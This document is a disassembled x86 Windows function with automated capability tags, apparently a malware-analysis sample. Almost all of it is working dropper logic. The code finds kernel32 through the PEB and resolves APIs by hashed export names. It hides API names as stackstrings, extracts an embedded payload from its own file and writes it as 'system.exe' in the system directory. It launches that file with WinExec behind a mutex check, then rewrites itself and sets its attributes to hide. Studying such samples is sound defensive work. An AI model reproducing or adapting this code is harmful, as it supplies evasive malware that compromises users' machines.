Function at 0x40c000
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Enumerate pe sections
Get number of processors
Hash data using rshash
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4cc
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x2e8], 0
mov byte [ebp - 0x2e4], 0x4c
mov byte [ebp - 0x2e3], 0x6f
mov byte [ebp - 0x2e2], 0x61
mov byte [ebp - 0x2e1], 0x64
mov byte [ebp - 0x2e0], 0x4c
mov byte [ebp - 0x2df], 0x69
mov byte [ebp - 0x2de], 0x62
mov byte [ebp - 0x2dd], 0x72
mov byte [ebp - 0x2dc], 0x61
mov byte [ebp - 0x2db], 0x72
mov byte [ebp - 0x2da], 0x79
mov byte [ebp - 0x2d9], 0x41
mov byte [ebp - 0x2d8], 0
mov byte [ebp - 0x164], 0x6b
mov byte [ebp - 0x163], 0x65
mov byte [ebp - 0x162], 0x72
mov byte [ebp - 0x161], 0x6e
mov byte [ebp - 0x160], 0x65
mov byte [ebp - 0x15f], 0x6c
mov byte [ebp - 0x15e], 0x33
mov byte [ebp - 0x15d], 0x32
mov byte [ebp - 0x15c], 0x2e
mov byte [ebp - 0x15b], 0x64
mov byte [ebp - 0x15a], 0x6c
mov byte [ebp - 0x159], 0x6c
mov byte [ebp - 0x158], 0
push eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x2ec], eax
pop eax
mov eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x2d4], eax
mov ecx, dword [ebp - 0x2d4]
mov edx, dword [ebp - 0x2ec]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x34c], edx
mov eax, dword [ebp - 0x34c]
mov ecx, dword [ebp - 0x2ec]
add ecx, dword [eax + 0x78]
mov dword [ebp - 0x328], ecx
mov dword [ebp - 0x350], 1
jmp 0x40c151
mov edx, dword [ebp - 0x350]
add edx, 1
mov dword [ebp - 0x350], edx
mov eax, dword [ebp - 0x328]
mov ecx, dword [ebp - 0x350]
cmp ecx, dword [eax + 0x14]
jae 0x40c2f4
mov dword [ebp - 0x360], 0x5c6b7
mov dword [ebp - 0x358], 0xf8c9
mov dword [ebp - 0x364], 0
mov edx, dword [ebp - 0x328]
mov eax, dword [ebp - 0x2ec]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x350]
mov edx, dword [ebp - 0x2ec]
add edx, dword [eax + ecx*4]
mov dword [ebp - 0x35c], edx
mov eax, dword [ebp - 0x35c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40c23c
mov edx, dword [ebp - 0x35c]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x40c1f7
mov ecx, dword [ebp - 0x35c]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x40c1f7
mov eax, dword [ebp - 0x364]
imul eax, dword [ebp - 0x358]
mov ecx, dword [ebp - 0x35c]
movsx edx, byte [ecx]
lea eax, [eax + edx + 0x20]
mov dword [ebp - 0x364], eax
jmp 0x40c215
mov ecx, dword [ebp - 0x364]
imul ecx, dword [ebp - 0x358]
mov edx, dword [ebp - 0x35c]
movsx eax, byte [edx]
add ecx, eax
mov dword [ebp - 0x364], ecx
mov ecx, dword [ebp - 0x358]
imul ecx, dword [ebp - 0x360]
mov dword [ebp - 0x358], ecx
mov edx, dword [ebp - 0x35c]
add edx, 1
mov dword [ebp - 0x35c], edx
jmp 0x40c1a8
mov eax, dword [ebp - 0x364]
and eax, 0x7fffffff
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0x6a6f5696
jne 0x40c29e
mov ecx, dword [ebp - 0x328]
mov edx, dword [ebp - 0x2ec]
add edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x350]
mov cx, word [edx + eax*2]
mov word [ebp - 0x368], cx
mov edx, dword [ebp - 0x328]
mov eax, dword [ebp - 0x2ec]
add eax, dword [edx + 0x1c]
movzx ecx, word [ebp - 0x368]
mov edx, dword [ebp - 0x2ec]
add edx, dword [eax + ecx*4]
mov dword [ebp - 0x308], edx
cmp dword [ebp - 0x354], 0x3777cccb
jne 0x40c2ef
mov eax, dword [ebp - 0x328]
mov ecx, dword [ebp - 0x2ec]
add ecx, dword [eax + 0x24]
mov edx, dword [ebp - 0x350]
mov ax, word [ecx + edx*2]
mov word [ebp - 0x36c], ax
mov ecx, dword [ebp - 0x328]
mov edx, dword [ebp - 0x2ec]
add edx, dword [ecx + 0x1c]
movzx eax, word [ebp - 0x36c]
mov ecx, dword [ebp - 0x2ec]
add ecx, dword [edx + eax*4]
mov dword [ebp - 0x304], ecx
jmp 0x40c142
lea edx, [ebp - 0x164]
push edx
call dword [ebp - 0x304]
mov dword [ebp - 0x2ec], eax
lea eax, [ebp - 0x2e4]
push eax
mov ecx, dword [ebp - 0x2ec]
push ecx
call dword [ebp - 0x308]
mov dword [ebp - 0x2e8], eax
mov byte [ebp - 0x18c], 0x43
mov byte [ebp - 0x18b], 0x72
mov byte [ebp - 0x18a], 0x65
mov byte [ebp - 0x189], 0x61
mov byte [ebp - 0x188], 0x74
mov byte [ebp - 0x187], 0x65
mov byte [ebp - 0x186], 0x46
mov byte [ebp - 0x185], 0x69
mov byte [ebp - 0x184], 0x6c
mov byte [ebp - 0x183], 0x65
mov byte [ebp - 0x182], 0x41
mov byte [ebp - 0x181], 0
mov byte [ebp - 0x300], 0x52
mov byte [ebp - 0x2ff], 0x65
mov byte [ebp - 0x2fe], 0x61
mov byte [ebp - 0x2fd], 0x64
mov byte [ebp - 0x2fc], 0x46
mov byte [ebp - 0x2fb], 0x69
mov byte [ebp - 0x2fa], 0x6c
mov byte [ebp - 0x2f9], 0x65
mov byte [ebp - 0x2f8], 0
mov byte [ebp - 0x1a4], 0x43
mov byte [ebp - 0x1a3], 0x6c
mov byte [ebp - 0x1a2], 0x6f
mov byte [ebp - 0x1a1], 0x73
mov byte [ebp - 0x1a0], 0x65
mov byte [ebp - 0x19f], 0x48
mov byte [ebp - 0x19e], 0x61
mov byte [ebp - 0x19d], 0x6e
mov byte [ebp - 0x19c], 0x64
mov byte [ebp - 0x19b], 0x6c
mov byte [ebp - 0x19a], 0x65
mov byte [ebp - 0x199], 0
mov byte [ebp - 0x154], 0x57
mov byte [ebp - 0x153], 0x72
mov byte [ebp - 0x152], 0x69
mov byte [ebp - 0x151], 0x74
mov byte [ebp - 0x150], 0x65
mov byte [ebp - 0x14f], 0x46
mov byte [ebp - 0x14e], 0x69
mov byte [ebp - 0x14d], 0x6c
mov byte [ebp - 0x14c], 0x65
mov byte [ebp - 0x14b], 0
mov byte [ebp - 0x324], 0x47
mov byte [ebp - 0x323], 0x65
mov byte [ebp - 0x322], 0x74
mov byte [ebp - 0x321], 0x4d
mov byte [ebp - 0x320], 0x6f
mov byte [ebp - 0x31f], 0x64
mov byte [ebp - 0x31e], 0x75
mov byte [ebp - 0x31d], 0x6c
mov byte [ebp - 0x31c], 0x65
mov byte [ebp - 0x31b], 0x46
mov byte [ebp - 0x31a], 0x69
mov byte [ebp - 0x319], 0x6c
mov byte [ebp - 0x318], 0x65
mov byte [ebp - 0x317], 0x4e
mov byte [ebp - 0x316], 0x61
mov byte [ebp - 0x315], 0x6d
mov byte [ebp - 0x314], 0x65
mov byte [ebp - 0x313], 0x41
mov byte [ebp - 0x312], 0
mov byte [ebp - 0x348], 0x48
mov byte [ebp - 0x347], 0x65
mov byte [ebp - 0x346], 0x61
mov byte [ebp - 0x345], 0x70
mov byte [ebp - 0x344], 0x41
mov byte [ebp - 0x343], 0x6c
mov byte [ebp - 0x342], 0x6c
mov byte [ebp - 0x341], 0x6f
mov byte [ebp - 0x340], 0x63
mov byte [ebp - 0x33f], 0
mov byte [ebp - 0x180], 0x47
mov byte [ebp - 0x17f], 0x65
mov byte [ebp - 0x17e], 0x74
mov byte [ebp - 0x17d], 0x50
mov byte [ebp - 0x17c], 0x72
mov byte [ebp - 0x17b], 0x6f
mov byte [ebp - 0x17a], 0x63
mov byte [ebp - 0x179], 0x65
mov byte [ebp - 0x178], 0x73
mov byte [ebp - 0x177], 0x73
mov byte [ebp - 0x176], 0x48
mov byte [ebp - 0x175], 0x65
mov byte [ebp - 0x174], 0x61
mov byte [ebp - 0x173], 0x70
mov byte [ebp - 0x172], 0
mov byte [ebp - 0x33c], 0x47
mov byte [ebp - 0x33b], 0x65
mov byte [ebp - 0x33a], 0x74
mov byte [ebp - 0x339], 0x46
mov byte [ebp - 0x338], 0x69
mov byte [ebp - 0x337], 0x6c
mov byte [ebp - 0x336], 0x65
mov byte [ebp - 0x335], 0x53
mov byte [ebp - 0x334], 0x69
mov byte [ebp - 0x333], 0x7a
mov byte [ebp - 0x332], 0x65
mov byte [ebp - 0x331], 0
mov byte [ebp - 0x170], 0x4d
mov byte [ebp - 0x16f], 0x6f
mov byte [ebp - 0x16e], 0x76
mov byte [ebp - 0x16d], 0x65
mov byte [ebp - 0x16c], 0x46
mov byte [ebp - 0x16b], 0x69
mov byte [ebp - 0x16a], 0x6c
mov byte [ebp - 0x169], 0x65
mov byte [ebp - 0x168], 0x45
mov byte [ebp - 0x167], 0x78
mov byte [ebp - 0x166], 0x41
mov byte [ebp - 0x165], 0
mov byte [ebp - 0x28], 0x57
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x45
mov byte [ebp - 0x24], 0x78
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0
lea edx, [ebp - 0x18c]
push edx
mov eax, dword [ebp - 0x2ec]
push eax
call dword [ebp - 0x308]
mov dword [ebp - 0x2f4], eax
lea ecx, [ebp - 0x300]
push ecx
mov edx, dword [ebp - 0x2ec]
push edx
call dword [ebp - 0x308]
mov dword [ebp - 0x1b0], eax
lea eax, [ebp - 0x1a4]
push eax
mov ecx, dword [ebp - 0x2ec]
push ecx
call dword [ebp - 0x308]
mov dword [ebp - 0x194], eax
lea edx, [ebp - 0x154]
push edx
mov eax, dword [ebp - 0x2ec]
push eax
call dword [ebp - 0x308]
mov dword [ebp - 0x1ac], eax
lea ecx, [ebp - 0x324]
push ecx
mov edx, dword [ebp - 0x2ec]
push edx
call dword [ebp - 0x308]
mov dword [ebp - 0x330], eax
lea eax, [ebp - 0x348]
push eax
mov ecx, dword [ebp - 0x2ec]
push ecx
call dword [ebp - 0x308]
mov dword [ebp - 0x310], eax
lea edx, [ebp - 0x180]
push edx
mov eax, dword [ebp - 0x2ec]
push eax
call dword [ebp - 0x308]
mov dword [ebp - 0x30c], eax
lea ecx, [ebp - 0x33c]
push ecx
mov edx, dword [ebp - 0x2ec]
push edx
call dword [ebp - 0x308]
mov dword [ebp - 0x1a8], eax
lea eax, [ebp - 0x170]
push eax
mov ecx, dword [ebp - 0x2ec]
push ecx
call dword [ebp - 0x308]
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x2ec]
push eax
call dword [ebp - 0x308]
mov dword [ebp - 0x34], eax
push 0x104
lea ecx, [ebp - 0x148]
push ecx
push 0
call dword [ebp - 0x330]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x148]
push edx
call dword [ebp - 0x2f4]
mov dword [ebp - 0x198], eax
push 0
mov eax, dword [ebp - 0x198]
push eax
call dword [ebp - 0x1a8]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
push ecx
push 8
call dword [ebp - 0x30c]
push eax
call dword [ebp - 0x310]
mov dword [ebp - 8], eax
mov dword [ebp - 0x2f0], 0
push 0
lea edx, [ebp - 0x2f0]
push edx
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x198]
push edx
call dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x198]
push eax
call dword [ebp - 0x194]
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x2d4], ecx
mov edx, dword [ebp - 0x2d4]
mov eax, dword [ebp - 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x34c], eax
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x2d4]
mov eax, dword [ebp - 8]
add eax, dword [edx + 0x3c]
mov ecx, dword [ebp - 0x34c]
movzx edx, word [ecx + 6]
sub edx, 2
imul edx, edx, 0x28
mov ecx, dword [ebp - 0x30]
sub ecx, dword [eax + edx + 0x108]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x2d4]
mov eax, dword [ebp - 8]
add eax, dword [edx + 0x3c]
mov ecx, dword [ebp - 0x34c]
movzx edx, word [ecx + 6]
sub edx, 1
imul edx, edx, 0x28
mov ecx, dword [ebp - 0x30]
sub ecx, dword [eax + edx + 0x108]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x3c]
push edx
push 8
call dword [ebp - 0x30c]
push eax
call dword [ebp - 0x310]
mov dword [ebp - 0x32c], eax
mov dword [ebp - 0x370], 0
jmp 0x40c882
mov eax, dword [ebp - 0x370]
add eax, 1
mov dword [ebp - 0x370], eax
mov ecx, dword [ebp - 0x370]
cmp ecx, dword [ebp - 0x3c]
jae 0x40c8a8
mov edx, dword [ebp - 0x32c]
add edx, dword [ebp - 0x370]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x370]
mov cl, byte [eax]
mov byte [edx], cl
jmp 0x40c873
mov edx, dword [ebp - 0x32c]
mov dword [ebp - 0x2d4], edx
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x32c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x34c], ecx
mov edx, dword [ebp - 0x34c]
movzx eax, word [edx + 6]
sub eax, 2
mov ecx, dword [ebp - 0x34c]
mov word [ecx + 6], ax
mov edx, dword [ebp - 0x34c]
mov dword [edx + 0x28], 0x5792
mov eax, dword [ebp - 0x34c]
mov dword [eax + 0x1c], 0x6000
mov ecx, dword [ebp - 0x34c]
mov dword [ecx + 0x50], 0xc000
mov edx, dword [ebp - 0x34c]
mov dword [edx + 0xd4], 0
mov eax, dword [ebp - 0x34c]
mov dword [eax + 0xd0], 0
mov byte [ebp - 0x1c4], 0x47
mov byte [ebp - 0x1c3], 0x65
mov byte [ebp - 0x1c2], 0x74
mov byte [ebp - 0x1c1], 0x53
mov byte [ebp - 0x1c0], 0x79
mov byte [ebp - 0x1bf], 0x73
mov byte [ebp - 0x1be], 0x74
mov byte [ebp - 0x1bd], 0x65
mov byte [ebp - 0x1bc], 0x6d
mov byte [ebp - 0x1bb], 0x44
mov byte [ebp - 0x1ba], 0x69
mov byte [ebp - 0x1b9], 0x72
mov byte [ebp - 0x1b8], 0x65
mov byte [ebp - 0x1b7], 0x63
mov byte [ebp - 0x1b6], 0x74
mov byte [ebp - 0x1b5], 0x6f
mov byte [ebp - 0x1b4], 0x72
mov byte [ebp - 0x1b3], 0x79
mov byte [ebp - 0x1b2], 0x41
mov byte [ebp - 0x1b1], 0
lea ecx, [ebp - 0x1c4]
push ecx
mov edx, dword [ebp - 0x2ec]
push edx
call dword [ebp - 0x308]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x374], 0
jmp 0x40c9ef
mov eax, dword [ebp - 0x374]
add eax, 1
mov dword [ebp - 0x374], eax
mov ecx, dword [ebp - 0x34c]
movzx edx, word [ecx + 6]
add edx, 2
cmp dword [ebp - 0x374], edx
jge 0x40cf52
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x32c]
add ecx, dword [eax + 0x3c]
mov edx, dword [ebp - 0x374]
imul edx, edx, 0x28
lea eax, [ecx + edx + 0xf8]
mov dword [ebp - 0x378], eax
mov ecx, dword [ebp - 0x378]
movzx edx, byte [ecx]
test edx, edx
jne 0x40cf4d
mov eax, dword [ebp - 0x378]
mov ecx, dword [eax + 0x14]
mov edx, dword [ebp - 0x378]
add ecx, dword [edx + 0x10]
mov eax, dword [ebp - 0x3c]
sub eax, ecx
mov dword [ebp - 0x2c], eax
push 0x104
lea ecx, [ebp - 0x498]
push ecx
call dword [ebp - 0x190]
mov byte [ebp - 0x4ac], 0x73
mov byte [ebp - 0x4ab], 0x79
mov byte [ebp - 0x4aa], 0x73
mov byte [ebp - 0x4a9], 0x74
mov byte [ebp - 0x4a8], 0x65
mov byte [ebp - 0x4a7], 0x6d
mov byte [ebp - 0x4a6], 0x2e
mov byte [ebp - 0x4a5], 0x65
mov byte [ebp - 0x4a4], 0x78
mov byte [ebp - 0x4a3], 0x65
mov byte [ebp - 0x4a2], 0
mov dword [ebp - 0x4bc], 0
jmp 0x40cad2
mov edx, dword [ebp - 0x4bc]
add edx, 1
mov dword [ebp - 0x4bc], edx
cmp dword [ebp - 0x4bc], 0x104
jge 0x40cc59
mov eax, dword [ebp - 0x4bc]
movsx ecx, byte [ebp + eax - 0x498]
test ecx, ecx
jne 0x40cc54
mov edx, dword [ebp - 0x4bc]
mov byte [ebp + edx - 0x498], 0x5c
mov eax, dword [ebp - 0x4bc]
add eax, 1
mov dword [ebp - 0x4bc], eax
mov ecx, dword [ebp - 0x4bc]
mov byte [ebp + ecx - 0x498], 0x73
mov edx, dword [ebp - 0x4bc]
add edx, 1
mov dword [ebp - 0x4bc], edx
mov eax, dword [ebp - 0x4bc]
mov byte [ebp + eax - 0x498], 0x79
mov ecx, dword [ebp - 0x4bc]
add ecx, 1
mov dword [ebp - 0x4bc], ecx
mov edx, dword [ebp - 0x4bc]
mov byte [ebp + edx - 0x498], 0x73
mov eax, dword [ebp - 0x4bc]
add eax, 1
mov dword [ebp - 0x4bc], eax
mov ecx, dword [ebp - 0x4bc]
mov byte [ebp + ecx - 0x498], 0x74
mov edx, dword [ebp - 0x4bc]
add edx, 1
mov dword [ebp - 0x4bc], edx
mov eax, dword [ebp - 0x4bc]
mov byte [ebp + eax - 0x498], 0x65
mov ecx, dword [ebp - 0x4bc]
add ecx, 1
mov dword [ebp - 0x4bc], ecx
mov edx, dword [ebp - 0x4bc]
mov byte [ebp + edx - 0x498], 0x6d
mov eax, dword [ebp - 0x4bc]
add eax, 1
mov dword [ebp - 0x4bc], eax
mov ecx, dword [ebp - 0x4bc]
mov byte [ebp + ecx - 0x498], 0x2e
mov edx, dword [ebp - 0x4bc]
add edx, 1
mov dword [ebp - 0x4bc], edx
mov eax, dword [ebp - 0x4bc]
mov byte [ebp + eax - 0x498], 0x65
mov ecx, dword [ebp - 0x4bc]
add ecx, 1
mov dword [ebp - 0x4bc], ecx
mov edx, dword [ebp - 0x4bc]
mov byte [ebp + edx - 0x498], 0x78
mov eax, dword [ebp - 0x4bc]
add eax, 1
mov dword [ebp - 0x4bc], eax
mov ecx, dword [ebp - 0x4bc]
mov byte [ebp + ecx - 0x498], 0x65
mov edx, dword [ebp - 0x4bc]
add edx, 1
mov dword [ebp - 0x4bc], edx
mov eax, dword [ebp - 0x4bc]
mov byte [ebp + eax - 0x498], 0
mov ecx, dword [ebp - 0x4bc]
add ecx, 1
mov dword [ebp - 0x4bc], ecx
jmp 0x40cac3
mov byte [ebp - 0x38c], 0x53
mov byte [ebp - 0x38b], 0x65
mov byte [ebp - 0x38a], 0x42
mov byte [ebp - 0x389], 0x65
mov byte [ebp - 0x388], 0x62
mov byte [ebp - 0x387], 0x75
mov byte [ebp - 0x386], 0x67
mov byte [ebp - 0x385], 0x50
mov byte [ebp - 0x384], 0x72
mov byte [ebp - 0x383], 0x69
mov byte [ebp - 0x382], 0x76
mov byte [ebp - 0x381], 0x69
mov byte [ebp - 0x380], 0x6c
mov byte [ebp - 0x37f], 0x65
mov byte [ebp - 0x37e], 0x67
mov byte [ebp - 0x37d], 0x65
mov byte [ebp - 0x37c], 0
mov byte [ebp - 0x4b8], 0x4f
mov byte [ebp - 0x4b7], 0x70
mov byte [ebp - 0x4b6], 0x65
mov byte [ebp - 0x4b5], 0x6e
mov byte [ebp - 0x4b4], 0x4d
mov byte [ebp - 0x4b3], 0x75
mov byte [ebp - 0x4b2], 0x74
mov byte [ebp - 0x4b1], 0x65
mov byte [ebp - 0x4b0], 0x78
mov byte [ebp - 0x4af], 0x41
mov byte [ebp - 0x4ae], 0
lea edx, [ebp - 0x4b8]
push edx
mov eax, dword [ebp - 0x2ec]
push eax
call dword [ebp - 0x308]
mov dword [ebp - 0x4a0], eax
lea ecx, [ebp - 0x38c]
push ecx
push 0
push 0x1f0001
call dword [ebp - 0x4a0]
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0
jne 0x40cf4b
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
lea edx, [ebp - 0x498]
push edx
call dword [ebp - 0x2f4]
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], 0
push 0
lea eax, [ebp - 0x4c0]
push eax
mov ecx, dword [ebp - 0x378]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 8]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x4c4]
push edx
call dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x4c4]
push eax
call dword [ebp - 0x194]
push 0
lea ecx, [ebp - 0x498]
push ecx
call dword [ebp - 0x34]
mov edx, dword [ebp - 0x378]
mov dword [edx + 0x24], 0
mov eax, dword [ebp - 0x378]
mov dword [eax + 8], 0
mov dword [ebp - 0x4c8], 0
jmp 0x40ce08
mov ecx, dword [ebp - 0x4c8]
add ecx, 1
mov dword [ebp - 0x4c8], ecx
cmp dword [ebp - 0x4c8], 8
jge 0x40ce22
mov edx, dword [ebp - 0x378]
add edx, dword [ebp - 0x4c8]
mov byte [edx], 0
jmp 0x40cdf9
xor eax, eax
mov ecx, dword [ebp - 0x378]
mov word [ecx + 0x22], ax
xor edx, edx
mov eax, dword [ebp - 0x378]
mov word [eax + 0x20], dx
mov ecx, dword [ebp - 0x378]
mov dword [ecx + 0x1c], 0
mov edx, dword [ebp - 0x378]
mov dword [edx + 0x14], 0
mov eax, dword [ebp - 0x378]
mov dword [eax + 0x18], 0
mov ecx, dword [ebp - 0x378]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 0x378]
mov dword [edx + 0xc], 0
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x32c]
add ecx, dword [eax + 0x3c]
mov edx, dword [ebp - 0x374]
sub edx, 1
imul edx, edx, 0x28
lea eax, [ecx + edx + 0xf8]
mov dword [ebp - 0x378], eax
mov ecx, dword [ebp - 0x378]
mov dword [ecx + 0x24], 0
mov edx, dword [ebp - 0x378]
mov dword [edx + 8], 0
mov dword [ebp - 0x4cc], 0
jmp 0x40ced8
mov eax, dword [ebp - 0x4cc]
add eax, 1
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 8
jge 0x40cef2
mov ecx, dword [ebp - 0x378]
add ecx, dword [ebp - 0x4cc]
mov byte [ecx], 0
jmp 0x40cec9
xor edx, edx
mov eax, dword [ebp - 0x378]
mov word [eax + 0x22], dx
xor ecx, ecx
mov edx, dword [ebp - 0x378]
mov word [edx + 0x20], cx
mov eax, dword [ebp - 0x378]
mov dword [eax + 0x1c], 0
mov ecx, dword [ebp - 0x378]
mov dword [ecx + 0x14], 0
mov edx, dword [ebp - 0x378]
mov dword [edx + 0x18], 0
mov eax, dword [ebp - 0x378]
mov dword [eax + 0x10], 0
mov ecx, dword [ebp - 0x378]
mov dword [ecx + 0xc], 0
jmp 0x40cf52
jmp 0x40c9e0
mov dword [ebp - 0x38], 0
mov edx, 1
test edx, edx
je 0x40cfaa
mov eax, dword [ebp - 0x38]
movsx ecx, byte [ebp + eax - 0x148]
test ecx, ecx
je 0x40cf87
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov cl, byte [ebp + eax - 0x148]
mov byte [ebp + edx - 0x2d0], cl
jmp 0x40cf9f
mov edx, dword [ebp - 0x38]
mov byte [ebp + edx - 0x2d0], 0x74
mov eax, dword [ebp - 0x38]
mov byte [ebp + eax - 0x2cf], 0
jmp 0x40cfaa
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
jmp 0x40cf59
push 2
lea edx, [ebp - 0x2d0]
push edx
lea eax, [ebp - 0x148]
push eax
call dword [ebp - 0x20]
push 0
push 0x80
push 1
push 0
push 1
push 0x40000000
lea ecx, [ebp - 0x148]
push ecx
call dword [ebp - 0x2f4]
mov dword [ebp - 0x198], eax
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x32c]
push ecx
mov edx, dword [ebp - 0x198]
push edx
call dword [ebp - 0x1ac]
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x32c]
add edx, dword [ebp - 0x3c]
sub edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x198]
push eax
call dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x198]
push ecx
call dword [ebp - 0x194]
push 5
lea edx, [ebp - 0x148]
push edx
call dword [ebp - 0x34]
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x46
mov byte [ebp - 0x18], 0x69
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x41
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x62
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x41
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x2ec]
push ecx
call dword [ebp - 0x308]
mov dword [ebp - 0x1c8], eax
push 2
lea edx, [ebp - 0x2d0]
push edx
call dword [ebp - 0x1c8]
mov esp, ebp
pop ebp
ret